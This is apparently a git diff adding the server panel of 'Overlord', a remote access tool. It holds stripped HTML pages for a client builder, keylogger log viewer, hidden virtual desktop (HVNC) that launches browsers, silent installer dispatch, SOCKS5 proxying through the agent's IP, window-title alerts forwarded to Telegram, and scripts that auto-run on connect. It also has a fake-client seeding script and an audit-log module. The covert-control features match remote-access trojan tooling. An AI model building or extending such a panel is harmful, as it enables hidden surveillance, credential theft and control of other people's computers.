+++ b/Overlord-Server/public/build.html
@@ -0,0 +1,368 @@
+
+
+
+
+
+ Client Builder - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Client Builder
+
+ Build customized Overlord client agents
+
+
+
+
+
+
+
+
+ Build Configuration
+
+
+
+
+
+
+
+
+ Build Output
+
+
+
+
+
+
+ Ready to build. Select platforms and click "Start Build".
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/change-password.html b/Overlord-Server/public/change-password.html
new file mode 100644
index 0000000..84c8e1b
--- /dev/null
+++ b/Overlord-Server/public/change-password.html
@@ -0,0 +1,115 @@
+
+
+
+
+
+ Change Password - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Password Change Required
+
+
Change Default Password
+
+ For security reasons, you must change the default password before
+ continuing.
+
+
+
+
+
+
diff --git a/Overlord-Server/public/console.html b/Overlord-Server/public/console.html
new file mode 100644
index 0000000..f186f13
--- /dev/null
+++ b/Overlord-Server/public/console.html
@@ -0,0 +1,80 @@
+
+
+
+
+
+ Overlord Console
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/deploy.html b/Overlord-Server/public/deploy.html
new file mode 100644
index 0000000..5c38700
--- /dev/null
+++ b/Overlord-Server/public/deploy.html
@@ -0,0 +1,196 @@
+
+
+
+
+
+ Execution - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Select Target Clients
+
+ Admin-only silent execution for installs and programs
+
+
+
+ 0 selected
+
+ Clear
+
+
+
+
+
+
+
+
+
+
+
+ All OS
+
+
+ Select All
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Execution
+
+ Upload an installer and dispatch it to matching clients
+
+
+
+
+ Run Silently
+
+
+ Update Agent
+
+
+
+
+
+
+
Installer Upload
+
+
+
+
+
+
+
Drag & drop an installer
+
or click to select a file
+
+
+
+
+
+ No file uploaded yet.
+
+
+ OS: not detected
+
+
+
+
+
Arguments (optional)
+
+
+ Provide silent flags supported by the installer.
+
+
+
+
+
+
+ Hide window (Windows)
+ Runs without showing a console window when supported.
+
+
+
+
+
Common examples
+
+ MSI: /quiet /norestart
+ AV setup: /quiet /norestart
+ Shell installers: --silent --noconfirm
+
+
+
+
+
+
+
+
+
+
+
Dispatch Results
+
+ Clear
+
+
+
+
+ No commands dispatched yet.
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/filebrowser.html b/Overlord-Server/public/filebrowser.html
new file mode 100644
index 0000000..65b0042
--- /dev/null
+++ b/Overlord-Server/public/filebrowser.html
@@ -0,0 +1,611 @@
+
+
+
+
+
+ File Browser - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Connecting...
+
+
+
+
+
+ Search
+
+
+ Refresh
+
+
+ Upload File
+
+
+ New Folder
+
+
+
+
+
+
+
+
+
+
+
0 items selected
+
+
+ Download
+
+
+ Delete
+
+
+ Move
+
+
+ Copy
+
+
+ Clear
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Go
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Editing File
+
+
+
+
+
+
+
+
+ Edit
+
+
+ Preview
+
+
+
+ Run
+
+
+
+
+
+ Ready
+
+
+
+ Cancel
+
+
+ Save
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/hvnc.html b/Overlord-Server/public/hvnc.html
new file mode 100644
index 0000000..ab0b279
--- /dev/null
+++ b/Overlord-Server/public/hvnc.html
@@ -0,0 +1,226 @@
+
+
+
+
+
+ Overlord HVNC
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Display
+
+
+ Refresh
+
+
+
+ Quality
+
+ 95%
+
+
+
+ Start
+
+
+ Stop
+
+
+ Commands
+
+
+ Fullscreen
+
+
+
+
+ Connecting
+
+
+ fps
+ --
+ →
+ --
+
+
+ Mouse
+ Keyboard
+ Cursor
+
+
+
+
+
+
+ Hidden Virtual Desktop - Client: -
+
+
+
+
+
+
+
Browsers
+
+ Start cmd.exe
+
+
+ Start powershell.exe
+
+
+ Start Chrome
+
+
+ Start Brave
+
+
+ Start Edge
+
+
Custom
+
+ Run custom exe…
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/index.html b/Overlord-Server/public/index.html
new file mode 100644
index 0000000..88f9484
--- /dev/null
+++ b/Overlord-Server/public/index.html
@@ -0,0 +1,175 @@
+
+
+
+
+
+ Overlord Dashboard
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Clients
+
Live clients via Bun WebSockets
+
+
0 online
+
+
+
+
+
+
+
+
+ Show offline
+
+
+ All Status
+ Online Only
+ Offline Only
+
+
+ All OS
+
+
+ Newest
+ Host A→Z
+ Ping ↑
+ Ping ↓
+
+
+ Select all
+
+
+ Clear selection
+
+
+
+
+
+
+
+ Prev
+
+
+
+ Next
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/keylogger.html b/Overlord-Server/public/keylogger.html
new file mode 100644
index 0000000..61f15b4
--- /dev/null
+++ b/Overlord-Server/public/keylogger.html
@@ -0,0 +1,187 @@
+
+
+
+
+
+ Keylogger - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Keylogger
+ Connecting
+
+
+ Client:
+ -
+
+
+
+ Max file size:
+ 10MB
+
+
+
+
+ Search All Logs
+
+
+ Refresh
+
+
+ Clear All Logs
+
+
+
+
+
+
+
+
+ Log Files
+
+
+
+ Loading log files...
+
+
+
+
+
+
+
+
+
+ Log Content
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ 0 / 0
+
+
+
+
+
+
+
+
+
+
+
+ Lines: -
+
+
+
+ Chars: -
+
+
+
+ Updated: -
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Search All Logs
+
+
+
+
+
+
+
+
+
+
Enter a search term to find across all log files
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/login.html b/Overlord-Server/public/login.html
new file mode 100644
index 0000000..1c25123
--- /dev/null
+++ b/Overlord-Server/public/login.html
@@ -0,0 +1,81 @@
+
+
+
+
+
+ Constellation Login
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Constellation
+
Sign in
+
+ Access your constellation
+
+
+
+
+
+ Sign in
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/logs.html b/Overlord-Server/public/logs.html
new file mode 100644
index 0000000..e43c16f
--- /dev/null
+++ b/Overlord-Server/public/logs.html
@@ -0,0 +1,139 @@
+
+
+
+
+
+ Client Logs - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Client Connection Logs
+
+ Track first connects, reconnects, uninstalls, and disconnects.
+
+
+
+ Updated: Never
+
+
+
+
+
+
+
+
+
+
No log entries found.
+
+
+
+ Previous
+
+
Page 1
+
+ Next
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/metrics.html b/Overlord-Server/public/metrics.html
new file mode 100644
index 0000000..086abbd
--- /dev/null
+++ b/Overlord-Server/public/metrics.html
@@ -0,0 +1,310 @@
+
+
+
+
+
+ Metrics - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Metrics Dashboard
+
+ Real-time server statistics and performance
+
+
+
+
+
+ Live
+
+ Updated: Never
+
+
+
+
+
+
+
+
+ Clients Online
+
+
+
0
+
+ 0 total
+
+
+
+
+
+
+ Active Sessions
+
+
+
0
+
+ Console, RD, Files, Processes
+
+
+
+
+
+
+ Commands/Hour
+
+
+
0
+
+ 0 /min •
+ 0 total
+
+
+
+
+
+
+ Bandwidth
+
+
+
0 KB/s
+
+ ↑ 0 MB • ↓
+ 0 MB
+
+
+
+
+
+
+
+
+
+
+ Clients Over Time
+
+
+
+
+
+
+
+
+
+
+ Commands Per Minute
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Server
+
+
+
+ Uptime:
+ 0s
+
+
+ Heap Used:
+ 0 MB
+
+
+ RSS:
+
+
+
+ System Memory:
+ 0 MB
+
+
+ CPU Load:
+ 0.00 / 0.00 / 0.00
+
+
+ Total Connections:
+ 0
+
+
+
+
+
+
+
+
+ Ping Statistics
+
+
+
+ Average:
+ -
+
+
+ Min / Max:
+ - /
+ -
+
+
+ Samples:
+ 0
+
+
+
+
+
+
+
+
+ HTTP & Event Loop
+
+
+
+ Requests/min:
+ 0
+
+
+ Errors/min:
+ 0
+
+
+ Latency avg/p95:
+
+ 0 /
+ 0
+
+
+
+ Loop lag avg/p95:
+
+ 0 /
+ 0
+
+
+
+ Loop lag max:
+ 0
+
+
+
+
+
+
+
+
+ Clients by OS
+
+
+
+
+
+
+
+
+
+
+ Client Geography Map
+
+
Darker = more clients
+
+
+
+ Data is based on IP geo lookup and client-reported country.
+
+
+
+
+
+
+
+ Command Types
+
+
+
+ No commands executed yet
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/notifications.html b/Overlord-Server/public/notifications.html
new file mode 100644
index 0000000..e33ff48
--- /dev/null
+++ b/Overlord-Server/public/notifications.html
@@ -0,0 +1,193 @@
+
+
+
+
+
+ Notifications - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Notifications
+
+ Active window alerts based on configured title keywords
+
+
+
+
+
+ Connecting...
+
+
+
+
+
+
+
+
Keyword Configuration
+
+ One keyword per line. Changes apply to connected agents immediately.
+
+
+
+
+ Save Keywords
+
+
+
+
+
+
+
+
+
+
Webhook
+
+ Send each notification to an external webhook URL.
+
+
+
+
+ Save Webhook
+
+
+
+
+ Enable webhook delivery
+
+
+
+ Payload: { type: "notification", data: { ... } }
+
+
+
+
+
+
+
Telegram Bot
+
+ Send each notification to a Telegram chat via bot.
+
+
+
+
+ Save Telegram
+
+
+
+
+ Enable Telegram delivery
+
+
+
+
+
+
+
+
Notifications
+
+
+
+
+
+ Time
+ Client
+ User
+ Window Title
+ Process
+ Keyword
+ Preview
+
+
+
+
+
+
+ No notifications yet.
+
+
+
+
+
+
+ Close
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/plugins.html b/Overlord-Server/public/plugins.html
new file mode 100644
index 0000000..06506cf
--- /dev/null
+++ b/Overlord-Server/public/plugins.html
@@ -0,0 +1,71 @@
+
+
+
+
+
+ Overlord Plugins
+
+
+
+
+
+
+
+
+
+
+
+
+
Plugins
+
Upload zip bundles and manage plugin UI
+
+
+
+
+
+
Upload
+
Drag a plugin zip here or click to browse
+
+
+
+ Choose zip
+
+
+
+
+ Drop plugin zip here
+
+
+
+
+
+
+
Installed plugins
+
+ Refresh
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/processes.html b/Overlord-Server/public/processes.html
new file mode 100644
index 0000000..e5f96ce
--- /dev/null
+++ b/Overlord-Server/public/processes.html
@@ -0,0 +1,247 @@
+
+
+
+
+
+ Process Manager - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Connecting...
+
+
+
+ 0 processes
+
+
+
+
+ Refresh
+
+
+ Kill Process
+
+
+
+
+
+
+
+
+
+
+
+
+
Process Types:
+
+
+ System
+
+
+
+ Service
+
+
+
+ Own
+
+
+
+ Other
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/proxy.html b/Overlord-Server/public/proxy.html
new file mode 100644
index 0000000..93c4b7c
--- /dev/null
+++ b/Overlord-Server/public/proxy.html
@@ -0,0 +1,179 @@
+
+
+
+
+
+ SOCKS5 Proxy - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ SOCKS5 Proxy
+ Connecting
+
+
+ Client:
+ -
+
+
+
+
+
+
+
+
+
+
+ Control Panel
+
+
+
+
+
+ Proxy Port (on agent)
+
+
+
+ The SOCKS5 proxy will listen on localhost at this port on the agent machine
+
+
+
+
+
+
+ Start Proxy
+
+
+
+ Stop Proxy
+
+
+
+
+
+
+ Proxy Running
+
+
+
+ Address:
+ 127.0.0.1:1080
+
+
+ Protocol:
+ SOCKS5
+
+
+
+
+
+
+
+
+
+
+ How to Use
+
+
+
+
+
+
+ Start the Proxy
+
+
+ Click "Start Proxy" to launch a SOCKS5 proxy server on the agent machine. The proxy will listen on localhost (127.0.0.1) at the specified port.
+
+
+
+
+
+
+ Configure Your Applications
+
+
+ Configure your browser or applications on the agent machine to use the SOCKS5 proxy at 127.0.0.1:[port]. This will route traffic through the agent's network.
+
+
+
+
+
+
+ Use Your Agent's IP
+
+
+ All traffic routed through the proxy will appear to originate from the agent's IP address and network location.
+
+
+
+
+
+
+
+
Note
+
+ The proxy runs directly on the agent machine. You need to configure applications on that machine to use it, or set up port forwarding/tunneling to access it remotely.
+
+
+
+
+
+
+
+
+
+
+
+
+ Activity Log
+
+
+
Waiting for connection...
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/remotedesktop.html b/Overlord-Server/public/remotedesktop.html
new file mode 100644
index 0000000..f6df446
--- /dev/null
+++ b/Overlord-Server/public/remotedesktop.html
@@ -0,0 +1,184 @@
+
+
+
+
+
+ Overlord Remote Desktop
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/scripts.html b/Overlord-Server/public/scripts.html
new file mode 100644
index 0000000..f3f022a
--- /dev/null
+++ b/Overlord-Server/public/scripts.html
@@ -0,0 +1,272 @@
+
+
+
+
+
+ Script Execution - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Select Target Clients
+
+ 0 selected
+
+ Clear
+
+
+
+
+
+
+
+
+
+
+
+ All OS
+
+
+ Select All
+
+
+
+
+
+
+
+
+
+
+
+
+
Script Editor
+
+
+ PowerShell
+ Bash
+ CMD
+ Python
+ Shell (sh)
+
+
+ Execute
+
+
+
+
+
+
+
+
+
+
+
Saved Scripts
+
+
+
+
+
+
+
+
No saved scripts yet.
+
+
+
+
+
Auto Tasks
+
+ Automatically execute the current editor script when clients connect. Use with care.
+
+
+
+
+
+
+ On connect (every session)
+ On connect (only once per client)
+ On first connect (new clients only)
+
+
+
+
+ Save Auto Task
+
+
+ Cancel
+
+
+
+
+
+
Active Auto Tasks
+
+
Loading auto tasks...
+
+
+
+
+
+
Script Templates
+
+
+ System Info
+
+ Get computer information
+
+
+
+ Top Processes
+
+ Show top 10 processes by CPU
+
+
+
+ Network Info
+
+ List network adapters and IPs
+
+
+
+ Disk Usage
+
+ Show disk space (Linux)
+
+
+
+ System Status
+
+ Show system status (Linux)
+
+
+
+
+
+
+
+
+
+
+
Output
+
+ Clear
+
+
+
+
+ No output yet. Execute a script to see results.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/public/users.html b/Overlord-Server/public/users.html
new file mode 100644
index 0000000..d4cd78e
--- /dev/null
+++ b/Overlord-Server/public/users.html
@@ -0,0 +1,199 @@
+
+
+
+
+
+ User Management - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Users
+
Manage user accounts and roles
+
+
+ Add User
+
+
+
+
+
+
+
+
+
+ Username
+
+
+ Role
+
+
+ Created
+
+
+ Last Login
+
+
+ Created By
+
+
+ Actions
+
+
+
+
+
+
+ Loading
+ users...
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Add User
+
+
+
+
+
+
+
+
+
Username
+
+
+ 3-32 characters, letters, numbers, hyphens, and underscores only
+
+
+
+
+
Password
+
+
Minimum 6 characters
+
+
+
+ Role
+
+ Viewer - Read-only access
+ Operator - Can control clients
+ Admin - Full access
+
+
+
+
+
+
+
+
+
+
+ Cancel
+
+
+ Save
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/scripts/seed_fake_clients.py b/Overlord-Server/scripts/seed_fake_clients.py
new file mode 100644
index 0000000..1edbb8e
--- /dev/null
+++ b/Overlord-Server/scripts/seed_fake_clients.py
@@ -0,0 +1,186 @@
+import argparse
+import os
+import random
+import sqlite3
+import string
+import time
+import uuid
+from typing import Iterable, Tuple
+
+SCHEMA = """
+CREATE TABLE IF NOT EXISTS clients (
+ id TEXT PRIMARY KEY,
+ hwid TEXT,
+ role TEXT,
+ host TEXT,
+ os TEXT,
+ arch TEXT,
+ version TEXT,
+ user TEXT,
+ monitors INTEGER,
+ country TEXT,
+ last_seen INTEGER,
+ online INTEGER,
+ ping_ms INTEGER
+);
+"""
+
+ROLES = ["client", "viewer"]
+OSES = ["windows", "linux", "darwin", "ubuntu", "debian", "arch", "kali", "fedora"]
+ARCHES = ["amd64", "arm64", "x86", "arm"]
+COUNTRIES = [
+ "US",
+ "GB",
+ "DE",
+ "FR",
+ "ES",
+ "CA",
+ "AU",
+ "IN",
+ "BR",
+ "ZA",
+ "JP",
+ "KR",
+ "CN",
+ "SG",
+ "SE",
+ "NO",
+ "DK",
+ "FI",
+ "PL",
+ "MX",
+]
+
+
+def random_host() -> str:
+ prefix = random.choice(["desk", "laptop", "vm", "srv", "pc"])
+ suffix = "".join(random.choices(string.ascii_lowercase + string.digits, k=6))
+ return f"{prefix}-{suffix}"
+
+
+def random_user() -> str:
+ first = random.choice(
+ ["alice", "bob", "carol", "dave", "erin", "frank", "grace", "heidi"]
+ )
+ num = random.randint(1, 9999)
+ return f"{first}{num}"
+
+
+def random_version() -> str:
+ return f"{random.randint(0, 5)}.{random.randint(0, 20)}.{random.randint(0, 9)}"
+
+
+def random_row(now_ms: int, online_rate: float) -> Tuple:
+ client_id = uuid.uuid4().hex
+ hwid = uuid.uuid4().hex
+ role = random.choice(ROLES)
+ host = random_host()
+ os_name = random.choice(OSES)
+ arch = random.choice(ARCHES)
+ version = random_version()
+ user = random_user()
+ monitors = random.randint(1, 3)
+ country = random.choice(COUNTRIES)
+ last_seen = now_ms - random.randint(0, 7 * 24 * 60 * 60 * 1000)
+ online = 1 if random.random() < online_rate else 0
+ ping_ms = random.choice([None, random.randint(10, 400), random.randint(400, 2000)])
+ return (
+ client_id,
+ hwid,
+ role,
+ host,
+ os_name,
+ arch,
+ version,
+ user,
+ monitors,
+ country,
+ last_seen,
+ online,
+ ping_ms,
+ )
+
+
+def batched_rows(
+ count: int, batch_size: int = 500, online_rate: float = 0.6
+) -> Iterable[Tuple[Tuple, ...]]:
+ now_ms = int(time.time() * 1000)
+ batch = []
+ for _ in range(count):
+ batch.append(random_row(now_ms, online_rate))
+ if len(batch) >= batch_size:
+ yield tuple(batch)
+ batch = []
+ if batch:
+ yield tuple(batch)
+
+
+def ensure_schema(conn: sqlite3.Connection) -> None:
+ conn.execute(SCHEMA)
+
+
+def seed(db_path: str, count: int, truncate: bool, online_rate: float) -> None:
+ conn = sqlite3.connect(db_path)
+ try:
+ ensure_schema(conn)
+ if truncate:
+ conn.execute("DELETE FROM clients")
+ conn.commit()
+ sql = (
+ "INSERT INTO clients (id, hwid, role, host, os, arch, version, user, monitors, country, last_seen, online, ping_ms) "
+ "VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)"
+ )
+ total = 0
+ for batch in batched_rows(count, online_rate=online_rate):
+ conn.executemany(sql, batch)
+ conn.commit()
+ total += len(batch)
+ print(f"Inserted {total}/{count}...")
+ print(f"Done. Inserted {total} rows into {db_path}")
+ finally:
+ conn.close()
+
+
+def resolve_default_db() -> str:
+ data_dir = os.getenv("DATA_DIR", "").strip()
+ if not data_dir:
+ if os.name == "nt" and os.getenv("APPDATA"):
+ data_dir = os.path.join(os.environ["APPDATA"], "Overlord")
+ else:
+ data_dir = "./data"
+ return os.path.abspath(os.path.join(data_dir, "overlord.db"))
+
+
+def main() -> None:
+ parser = argparse.ArgumentParser(
+ description="Seed fake clients into overlord.db for load testing."
+ )
+ parser.add_argument(
+ "--db",
+ default=resolve_default_db(),
+ help="Path to overlord.db (default follows server logic: DATA_DIR, then APPDATA/Overlord on Windows, else ./data)",
+ )
+ parser.add_argument(
+ "--count",
+ type=int,
+ default=100000,
+ help="How many rows to insert (default: 10000)",
+ )
+ parser.add_argument(
+ "--truncate", action="store_true", help="Delete existing rows before seeding"
+ )
+ parser.add_argument(
+ "--online-rate",
+ type=float,
+ default=0.6,
+ help="Probability a seeded client is online (0-1, default: 0.6)",
+ )
+ args = parser.parse_args()
+
+ db_path = os.path.abspath(args.db)
+ print(f"Seeding {args.count} clients into {db_path} (truncate={args.truncate})")
+ seed(db_path, args.count, args.truncate, args.online_rate)
+
+
+if __name__ == "__main__":
+ main()
diff --git a/Overlord-Server/src/adm-zip.d.ts b/Overlord-Server/src/adm-zip.d.ts
new file mode 100644
index 0000000..43087dd
--- /dev/null
+++ b/Overlord-Server/src/adm-zip.d.ts
@@ -0,0 +1,12 @@
+declare module "adm-zip" {
+ class AdmZip {
+ constructor(input?: string | Buffer);
+ getEntries(): Array<{
+ isDirectory: boolean;
+ entryName: string;
+ getData(): Buffer;
+ }>;
+ }
+
+ export = AdmZip;
+}
diff --git a/Overlord-Server/src/auditLog.ts b/Overlord-Server/src/auditLog.ts
new file mode 100644
index 0000000..a2bee8e
--- /dev/null
+++ b/Overlord-Server/src/auditLog.ts
@@ -0,0 +1,338 @@
+import Database from "bun:sqlite";
+import { resolve } from "path";
+import { ensureDataDir } from "./paths";
+
+const dataDir = ensureDataDir();
+const dbPath = resolve(dataDir, "overlord.db");
+const db = new Database(dbPath);
+
+const auditQueue: AuditLogEntry[] = [];
+const BATCH_SIZE = 50;
+const BATCH_INTERVAL_MS = 1000;
+let flushTimeout: Timer | null = null;
+
+const VERBOSE_AUDIT = process.env.VERBOSE_AUDIT === "true";
+
+db.run(`
+ CREATE TABLE IF NOT EXISTS audit_logs (
+ id INTEGER PRIMARY KEY AUTOINCREMENT,
+ timestamp INTEGER NOT NULL,
+ username TEXT NOT NULL,
+ ip TEXT NOT NULL,
+ action TEXT NOT NULL,
+ target_client_id TEXT,
+ details TEXT,
+ success INTEGER NOT NULL,
+ error_message TEXT
+ );
+`);
+
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_audit_timestamp ON audit_logs(timestamp DESC);`,
+);
+db.run(
+ `CREATE INDEX IF NOT EXISTS idx_audit_username ON audit_logs(username);`,
+);
+db.run(`CREATE INDEX IF NOT EXISTS idx_audit_action ON audit_logs(action);`);
+
+export enum AuditAction {
+ CLIENT_FIRST_CONNECT = "client_first_connect",
+ CLIENT_RECONNECT = "client_reconnect",
+ CLIENT_DISCONNECT = "client_disconnect",
+ LOGIN = "login",
+ LOGOUT = "logout",
+ LOGIN_FAILED = "login_failed",
+ COMMAND = "command",
+ FILE_DOWNLOAD = "file_download",
+ FILE_UPLOAD = "file_upload",
+ FILE_DELETE = "file_delete",
+ FILE_LIST = "file_list",
+ FILE_MKDIR = "file_mkdir",
+ FILE_READ = "file_read",
+ FILE_WRITE = "file_write",
+ FILE_SEARCH = "file_search",
+ FILE_COPY = "file_copy",
+ FILE_MOVE = "file_move",
+ FILE_CHMOD = "file_chmod",
+ FILE_EXECUTE = "file_execute",
+ FILE_ZIP = "file_zip",
+ CONSOLE_START = "console_start",
+ CONSOLE_STOP = "console_stop",
+ CONSOLE_INPUT = "console_input",
+ DESKTOP_START = "desktop_start",
+ DESKTOP_STOP = "desktop_stop",
+ DESKTOP_MOUSE = "desktop_mouse",
+ DESKTOP_KEYBOARD = "desktop_keyboard",
+ PROCESS_LIST = "process_list",
+ PROCESS_KILL = "process_kill",
+ SCREENSHOT = "screenshot",
+ DISCONNECT = "disconnect",
+ RECONNECT = "reconnect",
+ UNINSTALL = "uninstall",
+ AGENT_UPDATE = "agent_update",
+ SCRIPT_EXECUTE = "script_execute",
+ SILENT_EXECUTE = "silent_execute",
+}
+
+export interface AuditLogEntry {
+ id?: number;
+ timestamp: number;
+ username: string;
+ ip: string;
+ action: AuditAction | string;
+ targetClientId?: string;
+ details?: string;
+ success: boolean;
+ errorMessage?: string;
+}
+
+export interface AuditLogFilters {
+ page?: number;
+ pageSize?: number;
+ username?: string;
+ action?: string;
+ actions?: string[];
+ targetClientId?: string;
+ startDate?: number;
+ endDate?: number;
+ successOnly?: boolean;
+}
+
+export function logAudit(entry: AuditLogEntry): void {
+ auditQueue.push(entry);
+
+ if (VERBOSE_AUDIT) {
+ const status = entry.success ? "✓" : "✗";
+ const target = entry.targetClientId
+ ? ` [client: ${entry.targetClientId.substring(0, 8)}...]`
+ : "";
+ console.log(
+ `[audit] ${status} ${entry.username}@${entry.ip} - ${entry.action}${target}`,
+ );
+ }
+
+ if (auditQueue.length >= BATCH_SIZE) {
+ flushAuditLogs();
+ } else if (!flushTimeout) {
+ flushTimeout = setTimeout(flushAuditLogs, BATCH_INTERVAL_MS);
+ }
+}
+
+function flushAuditLogs(): void {
+ if (flushTimeout) {
+ clearTimeout(flushTimeout);
+ flushTimeout = null;
+ }
+
+ if (auditQueue.length === 0) return;
+
+ const logsToWrite = auditQueue.splice(0, auditQueue.length);
+
+ try {
+ const insert = db.prepare(
+ `INSERT INTO audit_logs (timestamp, username, ip, action, target_client_id, details, success, error_message)
+ VALUES (?, ?, ?, ?, ?, ?, ?, ?)`,
+ );
+
+ const transaction = db.transaction((logs: AuditLogEntry[]) => {
+ for (const entry of logs) {
+ insert.run(
+ entry.timestamp,
+ entry.username,
+ entry.ip,
+ entry.action,
+ entry.targetClientId || null,
+ entry.details || null,
+ entry.success ? 1 : 0,
+ entry.errorMessage || null,
+ );
+ }
+ });
+
+ transaction(logsToWrite);
+ } catch (error) {
+ console.error(
+ `[audit] Failed to flush ${logsToWrite.length} audit entries:`,
+ error,
+ );
+ }
+}
+
+export function flushAuditLogsSync(): void {
+ flushAuditLogs();
+}
+
+export function getAuditLogs(filters: AuditLogFilters = {}): {
+ logs: AuditLogEntry[];
+ total: number;
+ page: number;
+ pageSize: number;
+} {
+ const page = filters.page || 1;
+ const pageSize = filters.pageSize || 50;
+ const offset = (page - 1) * pageSize;
+
+ const where: string[] = [];
+ const params: any[] = [];
+
+ if (filters.username) {
+ where.push("username = ?");
+ params.push(filters.username);
+ }
+
+ if (filters.action) {
+ where.push("action = ?");
+ params.push(filters.action);
+ }
+
+ if (filters.actions && filters.actions.length > 0) {
+ const placeholders = filters.actions.map(() => "?").join(", ");
+ where.push(`action IN (${placeholders})`);
+ params.push(...filters.actions);
+ }
+
+ if (filters.targetClientId) {
+ where.push("target_client_id = ?");
+ params.push(filters.targetClientId);
+ }
+
+ if (filters.startDate) {
+ where.push("timestamp >= ?");
+ params.push(filters.startDate);
+ }
+
+ if (filters.endDate) {
+ where.push("timestamp <= ?");
+ params.push(filters.endDate);
+ }
+
+ if (filters.successOnly) {
+ where.push("success = 1");
+ }
+
+ const whereSql = where.length ? `WHERE ${where.join(" AND ")}` : "";
+
+ const countQuery = `SELECT COUNT(*) as total FROM audit_logs ${whereSql}`;
+ const countResult = db.query(countQuery).get(...params) as { total: number };
+ const total = countResult?.total || 0;
+
+ const logsQuery = `
+ SELECT id, timestamp, username, ip, action, target_client_id, details, success, error_message
+ FROM audit_logs
+ ${whereSql}
+ ORDER BY timestamp DESC
+ LIMIT ? OFFSET ?
+ `;
+
+ const logs = db.query(logsQuery).all(...params, pageSize, offset) as any[];
+
+ return {
+ logs: logs.map((row) => ({
+ id: row.id,
+ timestamp: row.timestamp,
+ username: row.username,
+ ip: row.ip,
+ action: row.action,
+ targetClientId: row.target_client_id || undefined,
+ details: row.details || undefined,
+ success: row.success === 1,
+ errorMessage: row.error_message || undefined,
+ })),
+ total,
+ page,
+ pageSize,
+ };
+}
+
+export function getAuditStats(): {
+ totalLogs: number;
+ last24h: number;
+ failedLogins: number;
+ topUsers: Array<{ username: string; count: number }>;
+ topActions: Array<{ action: string; count: number }>;
+} {
+ const now = Date.now();
+ const yesterday = now - 24 * 60 * 60 * 1000;
+
+ const totalLogs = (
+ db.query("SELECT COUNT(*) as count FROM audit_logs").get() as any
+ ).count;
+ const last24h = (
+ db
+ .query("SELECT COUNT(*) as count FROM audit_logs WHERE timestamp >= ?")
+ .get(yesterday) as any
+ ).count;
+ const failedLogins = (
+ db
+ .query(
+ "SELECT COUNT(*) as count FROM audit_logs WHERE action = ? AND success = 0",
+ )
+ .get(AuditAction.LOGIN_FAILED) as any
+ ).count;
+
+ const topUsers = db
+ .query(
+ `
+ SELECT username, COUNT(*) as count
+ FROM audit_logs
+ WHERE timestamp >= ?
+ GROUP BY username
+ ORDER BY count DESC
+ LIMIT 5
+ `,
+ )
+ .all(yesterday) as Array<{ username: string; count: number }>;
+
+ const topActions = db
+ .query(
+ `
+ SELECT action, COUNT(*) as count
+ FROM audit_logs
+ WHERE timestamp >= ?
+ GROUP BY action
+ ORDER BY count DESC
+ LIMIT 10
+ `,
+ )
+ .all(yesterday) as Array<{ action: string; count: number }>;
+
+ return {
+ totalLogs,
+ last24h,
+ failedLogins,
+ topUsers,
+ topActions,
+ };
+}
+
+export function cleanupOldAuditLogs(daysToKeep: number = 90): number {
+ const cutoffTime = Date.now() - daysToKeep * 24 * 60 * 60 * 1000;
+ const result = db.run("DELETE FROM audit_logs WHERE timestamp < ?", [
+ cutoffTime,
+ ]);
+ const deleted = result.changes;
+
+ if (deleted > 0) {
+ console.log(
+ `[audit] Cleaned up ${deleted} audit logs older than ${daysToKeep} days`,
+ );
+ }
+
+ return deleted;
+}
+
+process.on("beforeExit", () => {
+ flushAuditLogs();
+});
+
+process.on("SIGINT", () => {
+ flushAuditLogs();
+ process.exit(0);
+});
+
+process.on("SIGTERM", () => {
+ flushAuditLogs();
+ process.exit(0);
+});
+
+console.log("[audit] Audit logging system initialized");
